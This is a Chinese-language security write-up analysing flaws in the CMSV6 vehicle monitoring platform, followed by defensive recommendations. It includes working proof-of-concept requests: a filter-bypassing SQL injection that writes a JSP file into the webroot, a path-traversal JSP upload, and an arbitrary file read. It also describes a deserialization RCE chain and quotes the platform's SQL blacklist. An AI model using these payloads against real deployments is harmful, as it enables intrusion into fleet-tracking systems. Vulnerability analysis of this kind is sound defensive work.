通天星CMSV6 车载定位监控平台漏洞分析及思考
字数 2033
更新时间 2025-08-23 01:10:38
通天星CMSV6车载定位监控平台漏洞分析与防御指南
1. 系统概述
通天星CMSV6车载监控平台是基于SSH(Spring+Hibernate)框架开发的车辆监控管理系统,主要用于车辆定位、轨迹跟踪和监控管理。
技术架构
- 框架:Spring + Hibernate (SSH框架)
- 视图层:使用Beetl模板引擎
- 路由机制:基于Struts2框架
- 数据交互:采用JSON格式
2. 环境搭建与调试
2.1 环境准备
- 从官网下载安装包(https://drive.weixin.qq.com/s?k=AEUAHgfEAAwFuWbUBN#/)
- 在Windows虚拟机中直接运行exe安装
2.2 调试配置
- 修改
catalina.bat文件,添加JVM调试参数:
set "JAVA_OPTS=%JAVA_OPTS% -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:6665"
- 暂停web服务,启动
setup.bat - 在IDEA中配置Remote JVM Debug,连接端口6665
3. 安全机制分析
3.1 过滤器(Filter)机制
系统通过web.xml配置了多个过滤器,主要功能包括:
SQL注入过滤
private static String badStrReg = "\\b(and|or)\\b.{1,6}bin\\b|\\blike\\b)s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";
// 黑名单关键词列表
static {
matchs.add("'insert ");
matchs.add("select ");
// ...其他关键词...
matchs.add("ORD(");
matchs.add("MID(");
matchs.add("schema_name");
matchs.add("case when");
}
XSS过滤
系统配置了XSS过滤器,但历史上未报告过XSS漏洞。
3.2 路由机制
系统采用Struts2框架的路由机制:
Web路由规则
任意路径+/类名+_+方法名.action
API路由规则
类名+_+方法名.action
4. 漏洞分析与复现
4.1 SQL注入漏洞
漏洞位置
com.gps808.inspect.controller.PointLineRelationController
漏洞代码
// 存在SQL拼接的查询语句
String sql = "SELECT a.id as id, a.name as name, a.type as type, a.map_id as mapId, " +
"a.install_place as installPlace, a.check_item as checkItem, " +
"a.update_time as updateTime, a.create_time as createTime " +
"FROM xj_point_manage a WHERE a.name = '%s' AND a.id != '%d'";
POC
POST /point_manage/merge HTTP/1.1
Content-Type: application/x-www-form-urlencoded
id=1&name=1' UNION SELECT%0aNULL, 0x3c25206f75742e7072696e7428227a7a3031306622293b206e6577206a6176612e696f2e46696c65286170706c69636174696f6e2e6765745265616c5061746828726571756573742e676574536572766c657450617468282929292e64656c65746528293b20253e,NULL,NULL,NULL,NULL,NULL,NULL INTO dumpfile '../../tomcat/webapps/gpsweb/allgods.jsp' FROM user_session a WHERE '1 '='1 &type=3&map_id=4&install_place=5&check_item=6&create_time=7&update_time=8
绕过技巧
- 使用
%0a换行绕过关键词检测 - 使用十六进制编码绕过
4.2 文件上传漏洞
漏洞位置
com.gps808.inspect.controller.InspectFileUploadController
漏洞代码
@PostMapping({"/upload"})
public AjaxResult upload(MultipartFile uploadFile) throws Exception {
String folderName = this.getRequestStringEx("folderName");
String realPath = this.getRequest().getSession().getServletContext().getRealPath("upload/") + folderName;
File file = new File(realPath);
if (!file.exists()) {
file.mkdirs();
}
String fileName = "" + System.nanoTime() + "_" + uploadFile.getOriginalFilename();
File target = new File(realPath + "/" + fileName);
uploadFile.transferTo(target);
// 无有效文件类型检查
}
POC
POST /inspect_file/upload HTTP/1.1
Content-Type: multipart/form-data; boundary=2e7688d712bcc913201f327059f9976b
--2e7688d712bcc913201f327059f9976b
Content-Disposition: form-data; name="uploadFile"; filename="../707140.jsp"
Content-Type: application/octet-stream
<% out.println("007319607"); %>
--2e7688d712bcc913201f327059f9976b--
利用方式
- 通过
../实现目录穿越 - 直接上传JSP webshell
4.3 信息泄露漏洞
4.3.1 xz_center信息泄露
接口:/xz_center/list
漏洞位置:com.gps808.operationManagement.service.XzCenterController
4.3.2 用户信息泄露
接口:/808gps/StandardLoginAction_getAllUser.action
漏洞位置:com.gps808.operationManagement.action.StandardLoginAction
4.4 任意文件读取漏洞
漏洞位置
com.gps808.loggerManagement.action.DownloadLoggerAction
POC
GET /808gps/logger/downloadLogger.action?fileName=C://Windows//win.ini HTTP/1.1
4.5 组合漏洞利用实现RCE
利用链
- 通过任意文件读取获取管理员session
- 使用默认密码登录FTP上传恶意文件
- 或利用后台任意文件上传漏洞
- 触发上传文件中的恶意代码
Jasper反序列化RCE
漏洞位置:com.gps808.operationManagement.action.StandardLineAction#report
关键代码:
private JasperReport getJasperReportFromFile(String reportKey) throws IOException, JRException {
String filePath = this.jasperReportPath + File.separator + reportKey + ".jasper";
File reportFile = new File(filePath);
if (reportFile.exists() && reportFile.isFile()) {
JasperReport jasperReport = (JasperReport)JRLoader.loadObject(reportFile);
return jasperReport;
}
return null;
}
调用栈:
ReportCreater#_createReportReportCreater#getJasperReportReportCreater#getJasperReportFromFileJRLoader#loadObjectContextClassLoaderObjectInputStream#readObject
5. 防御建议
5.1 SQL注入防御
- 使用预编译语句(PreparedStatement)替代字符串拼接
- 完善过滤规则,增加对换行符等绕过字符的检测
- 采用白名单机制替代黑名单
5.2 文件上传防御
- 限制上传目录为不可执行
- 严格校验文件扩展名和内容
- 禁止使用用户输入拼接文件路径
- 对上传文件重命名,避免使用原始文件名
5.3 信息泄露防御
- 实施最小权限原则
- 对敏感接口增加权限验证
- 避免直接返回数据库完整记录
5.4 任意文件读取防御
- 限制文件访问路径
- 对用户输入的文件路径进行规范化处理
- 实施白名单机制,只允许访问特定目录
5.5 反序列化防御
- 升级JasperReports到最新版本
- 对反序列化操作实施白名单控制
- 使用安全的反序列化方法
6. 审计技巧
-
SpringMVC审计重点:
- 关注DAO层的SQL拼接
- 检查Controller层对用户输入的过滤
-
SQL注入挖掘:
- 查找使用字符串拼接的SQL语句
- 测试过滤器的绕过可能性
-
文件操作漏洞:
- 检查所有使用用户输入作为文件路径的操作
- 关注文件上传功能的类型检查机制
-
反序列化风险:
- 查找所有
readObject调用点 - 检查反序列化数据的来源是否可控
- 查找所有
7. 参考资源
相似文章
相似文章